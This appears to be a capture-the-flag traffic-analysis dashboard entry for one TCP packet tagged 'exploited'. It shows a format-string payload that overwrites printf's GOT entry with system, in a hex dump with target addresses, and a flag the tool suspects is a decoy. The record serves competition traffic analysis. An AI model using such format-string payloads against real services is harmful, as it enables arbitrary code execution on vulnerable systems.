D0kdo

Packet pkt-0049

TCP · 3584B

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Packet Info

ID

pkt-0049

Protocol

TCP

Size

3584 bytes

Created

14:20:01 (R40)

Source IP

0.0.0.0

Dest IP

10.60.1.1

Tags

exploited

Fake Flag 의심 — 제출 전 검증 필요

Extracted Payloads

TypeContentOffset
FmtStr

%x%x%x%x%n%n%n%n → GOT overwrite

0x0000

Flag (FAKE?)

FLAG{f4k3_fl4g_tr4p}

0x0056

TCP Stream

SRC: 0.0.0.0 (마스킹)
DST: 10.60.1.1
00000000  25 78 25 78 25 78 25 78  25 78 25 78 25 78 25 78  |%x%x%x%x%x%x%x%x|
00000010  25 6e 25 6e 25 6e 25 6e  00 00 00 00 00 00 00 00  |%n%n%n%n........|
00000020  18 a0 04 08 1a a0 04 08  1c a0 04 08 1e a0 04 08  |................|
00000030  0d 0a 47 4f 54 20 6f 76  65 72 77 72 69 74 65 3a  |..GOT overwrite:|
00000040  20 70 72 69 6e 74 66 40  47 4f 54 20 3d 3e 20 73  | printf@GOT => s|
00000050  79 73 74 65 6d 0d 0a 46  4c 41 47 7b 66 34 6b 33  |ystem..FLAG{f4k3|
00000060  5f 66 6c 34 67 5f 74 72  34 70 7d                  |_fl4g_tr4p}     |